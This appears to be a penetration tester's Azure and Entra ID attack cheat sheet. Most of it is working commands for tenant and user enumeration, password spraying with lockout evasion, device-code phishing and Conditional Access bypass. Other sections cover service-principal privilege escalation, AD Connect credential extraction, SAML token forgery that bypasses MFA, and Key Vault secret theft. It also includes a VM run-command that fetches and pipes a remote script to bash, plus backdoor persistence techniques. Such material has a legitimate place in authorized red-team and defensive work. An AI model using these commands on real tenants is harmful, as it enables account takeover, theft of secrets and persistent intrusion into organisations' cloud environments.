Azure

Sections Azure

Azure + Entra ID (formerly Azure AD) attack surface. Hybrid AD integration covered briefly here, full on-prem AD in 00 AD MOC .

Naming

Microsoft rebranded “Azure AD” to “Entra ID” in 2023. Same product, same APIs. Tools still use “AAD” interchangeably. This file uses “Entra ID” for the identity layer and “Azure” for the resource layer.

TENANT=target.onmicrosoft.com
USER='user@target.com'
PASS='Password1'

i. Pre-auth: tenant enumeration

You don’t need credentials to enumerate a tenant’s basic info. Public endpoints give you a lot.

Find the tenant ID from a domain:

curl -s "https://login.microsoftonline.com/$TENANT/.well-known/openid-configuration" | jq -r .token_endpoint
## Tenant ID appears in the URL: /TENANT_ID/oauth2/v2.0/token

OpenID Connect metadata reveals SSO config, federation, supported flows:

curl -s "https://login.microsoftonline.com/$TENANT/v2.0/.well-known/openid-configuration" | jq

User existence check (no creds needed, no login attempt):

curl -s "https://login.microsoftonline.com/common/GetCredentialType" \
  -H "Content-Type: application/json; charset=UTF-8" \
  -d '{"Username":"target@example.com"}' | jq
## "IfExistsResult": 0 = exists, 1 = does not exist, 5 = federated to external IdP
## "ThrottleStatus": 1 = blocked, do not retry quickly

Onyphe / shodan / cert transparency for *.onmicrosoft.com and *.cloudapp.azure.com discovery.

ii. Password spray Entra ID

Way less risky than on-prem AD because lockout is per-IP and slower:

## With MSOLSpray (still widely used)
python3 MSOLSpray.py --userlist users.txt --password 'Winter2025!'
## With nxc (Linux):
nxc azure --userlist users.txt --password 'Winter2025!' --tenant $TENANT

MFASweep (find users without MFA across many MS services):

## PowerShell:
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password 'Password1' -Recon
Smart Lockout

Entra ID has Smart Lockout (default 10 failures per IP per ~60 min). Use distributed source IPs or wait between sprays.

iii. Auth methods to know

Each auth method has different log signatures and detection profiles:

Password auth (ROPC, grant_type=password)

Direct OAuth password grant. Modern tenants often disable this. Try first because it gives access tokens directly with no MFA when conditional access doesn’t fire on Service Principal-style flows.

curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "username=$USER" \
  -d "password=$PASS" \
  -d "grant_type=password" | jq

Device Code Flow (best for evading conditional access by impersonating mobile/console apps)

## Step 1: ask for a device code
curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode" \
  -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
  -d "scope=https://graph.microsoft.com/.default offline_access" | jq
## Returns user_code, device_code, verification_uri
## Step 2: phish the user to visit verification_uri and enter user_code
## Step 3: poll for token
curl -s "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
  -d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
  -d "device_code=DEVICE_CODE"

TokenTactics automates this:

git clone https://github.com/rvrsh3ll/TokenTactics
Import-Module .\TokenTactics.psd1
Get-AzureToken -Client MSGraph

Az CLI / Az PowerShell

az login                          ## interactive
az login --service-principal -u APP_ID -p CLIENT_SECRET --tenant TENANT_ID
az login --use-device-code        ## device code flow
## After login:
az account show
az account list
Connect-AzAccount
Connect-AzAccount -Credential (Get-Credential)
Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant TENANT_ID

iv. ROADtools (the modern enum stack)

ROADtools = roadrecon (collector) + roadtools (graph viewer). Closer to BloodHound in spirit.

## Auth and dump:
roadrecon auth -u user@target.com -p Password1
## Or use device code:
roadrecon auth --device-code
## Then collect:
roadrecon gather
## Output: roadrecon.db (SQLite with everything)
## Browse the data:
roadrecon gui
## Open http://localhost:5000

Specific queries from the database:

roadrecon dump --type users
roadrecon dump --type applications
roadrecon dump --type approles
roadrecon dump --type roleassignments

v. AzureHound (BloodHound CE collector for Entra ID)

For BloodHound CE Azure analysis:

./azurehound -u user@target.com -p Password1 -t TENANT_ID list -o output.json
## Then in BloodHound CE: upload output.json (or zip it)

Use BloodHound’s Azure-specific edges to find privesc paths in Entra ID.

vi. AADInternals

PowerShell module with deep tenant manipulation capabilities. Use cases include hybrid AD attacks, federation hijack, immutable ID abuse.

Install-Module AADInternals
Import-Module AADInternals
## Login
$cred = Get-Credential
$at = Get-AADIntAccessTokenForAADGraph -Credentials $cred
## Tenant info without auth:
Get-AADIntTenantDomains -Domain target.com
Get-AADIntLoginInformation -Domain target.com
## Whoami:
Get-AADIntAccessTokenInfo -AccessToken $at

vii. Common Entra ID roles to look for

## Get all role assignments:
az role assignment list --all
## Or via Microsoft Graph:
curl -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/directoryRoles"

High-value Entra ID directory roles:

  • Global Administrator - full tenant admin
  • Privileged Role Administrator - can assign other roles, recursive privilege escalation
  • Privileged Authentication Administrator - reset passwords of admins
  • User Administrator - reset passwords of non-admins (and add to groups)
  • Application Administrator / Cloud Application Administrator - abuse service principals, add credentials
  • Hybrid Identity Administrator - manage AD Connect

viii. Azure RBAC roles

Different from Entra ID directory roles. Govern resources (subscriptions, resource groups, VMs).

## At subscription level:
az role assignment list --all --include-inherited
## Find Owner / Contributor / User Access Administrator assignments:
az role assignment list --all --include-inherited --query "[?roleDefinitionName=='Owner']"

Owner + User Access Administrator are the dangerous Azure RBAC roles. Owner can do anything in scope, UAA can grant any other role.

ix. Privilege escalation paths

Add credentials to a service principal you have rights on

az ad sp credential reset --id <APP_ID>
## Returns new client secret
az login --service-principal -u APP_ID -p NEW_SECRET --tenant TENANT_ID

If the SP has high-value API permissions or RBAC roles, you’ve inherited them.

Reset another user’s password (User Administrator or higher)

az ad user update --id victim@target.com --password 'NewP@ss123!'

Owner / UAA escalation

You’re Owner on a subscription. Add yourself as Owner of another scope (or User Access Administrator at the management group level):

az role assignment create --assignee user@target.com --role 'Owner' --scope /subscriptions/SUB_ID

When you control a service principal AND can grant admin consent, give yourself any Graph permission:

az ad app permission add --id APP_ID --api 00000003-0000-0000-c000-000000000000 --api-permissions <PERM_GUID>=Role
az ad app permission grant --id APP_ID --api 00000003-0000-0000-c000-000000000000
az ad app permission admin-consent --id APP_ID

RoleManagement.ReadWrite.Directory is the holy grail - lets the SP assign itself any directory role, including Global Administrator.

Hybrid AD: Azure AD Connect server compromise

AD Connect syncs on-prem AD to Entra ID. The AD Connect server has:

  • The MSOL_xxxxx account in on-prem AD (with DCSync rights)
  • The cleartext password for the Entra ID sync account, stored encrypted on the AD Connect host
  • Compromising AD Connect = compromise both on-prem AD AND Entra ID
nxc smb aadconnect.corp.local -u user -p pass -M adsyncdecrypt
## Or AADInternals:
## On the AD Connect host:
Get-AADIntSyncCredentials

Federated domain takeover via token signing key

If you have Global Admin or compromise the AD FS server, extract the signing key. Forge SAML tokens that bypass all Entra auth:

## On AD FS server:
$cert = Get-AADIntADFSCertificate
$key = Get-AADIntADFSSigningKey
## Forge token as any user:
Open-AADIntOffice365Portal -ImmutableID xyz -Issuer "http://target.com/adfs/services/trust/" -ByPassMFA

Conditional Access bypass via Device Code Flow

Many Conditional Access policies don’t apply to “trusted” client IDs (Office, Teams, OneDrive). Use those client IDs in your device code request:

## Microsoft Office client:
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c
## Azure CLI:
client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46
## Teams:
client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264

x. Service-specific: storage, VMs, functions, key vaults

Storage Account keys

## List storage accounts:
az storage account list --query '[].[name,resourceGroup]'
## Get account keys (often gives full data plane access):
az storage account keys list --account-name STORAGE -g RG
## Use key for blob enum:
az storage container list --account-name STORAGE --account-key KEY

Virtual Machines: run command as SYSTEM

With Microsoft.Compute/virtualMachines/runCommand/action:

az vm run-command invoke -g RG -n VMNAME --command-id RunPowerShellScript \
  --scripts "Get-Process; whoami; ipconfig /all"
## Or:
az vm run-command invoke -g RG -n VMNAME --command-id RunShellScript \
  --scripts "curl http://10.10.14.1/sh.sh | bash"

Function Apps and App Services

Read function code (often has connection strings):

az functionapp list-keys --resource-group RG --name FUNC
az functionapp config appsettings list -g RG -n FUNC

Key Vault

az keyvault list
az keyvault secret list --vault-name KV
az keyvault secret show --vault-name KV --name SECRET

Need Get or List permission on the data plane. If you have set on access policies, grant yourself those permissions first:

az keyvault set-policy --name KV --upn user@target.com --secret-permissions get list

Automation Accounts

Often store credentials as Automation variables and contain Runbook code with hardcoded secrets:

az automation account list
az automation account show -n AUTOACCT -g RG
## Read Runbook:
az automation runbook show-content -n RB --automation-account-name AUTOACCT -g RG

xi. Persistence

Service Principal with API permissions

Create an SP, give it RoleManagement.ReadWrite.Directory and admin-consent:

az ad sp create-for-rbac --name pwn-sp
## Note the appId and password
## Then the SP can be granted Graph permissions and assigned to any role

Backdoor existing SP

Add a second credential (client secret or certificate) to an existing high-priv SP:

az ad sp credential reset --id APP_ID --append
## --append keeps existing secrets active

Federation backdoor

On AD FS or external IdP, forge tokens for any tenant user as long as the trust remains. AADInternals Open-AADIntOffice365Portal patterns. Persistent until federation is removed.

Pass-through Auth Backdoor

If pass-through auth (PTA) is enabled and you control the on-prem PTA agent host, you can intercept every Entra login. AADInternals has Install-AADIntPTASpy.

xii. Detection

Sign-in logs and Audit logs in Entra ID record almost everything. Common monitoring:

  • Suspicious sign-in patterns (impossible travel, anonymous IP, atypical location)
  • Privileged role activation (PIM logs)
  • Application permission grants
  • Mass-data-export from Graph

Quick checks for your own footprint:

## Most recent sign-ins for yourself:
az ad signed-in-user show
## Audit log (requires Audit.Read.All):
curl -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/auditLogs/directoryAudits?\$top=20"

xiii. Decision tree

You have a token / creds, now what?

  1. az account show and az ad signed-in-user show - what identity?
  2. roadrecon gather to map everything you can see
  3. AzureHound for BloodHound graphing
  4. Look for: SP with high API perms, RBAC Owner roles, group memberships (Global Admin, Application Admin)
  5. Hybrid setup? → AD Connect host is the dream target
  6. No direct privesc? → enumerate storage / Key Vault / Automation for stored secrets
  7. Persistence → add SP credential, or admin-consent a privileged SP

For on-prem AD attacks against hybrid setups, see 00 AD MOC .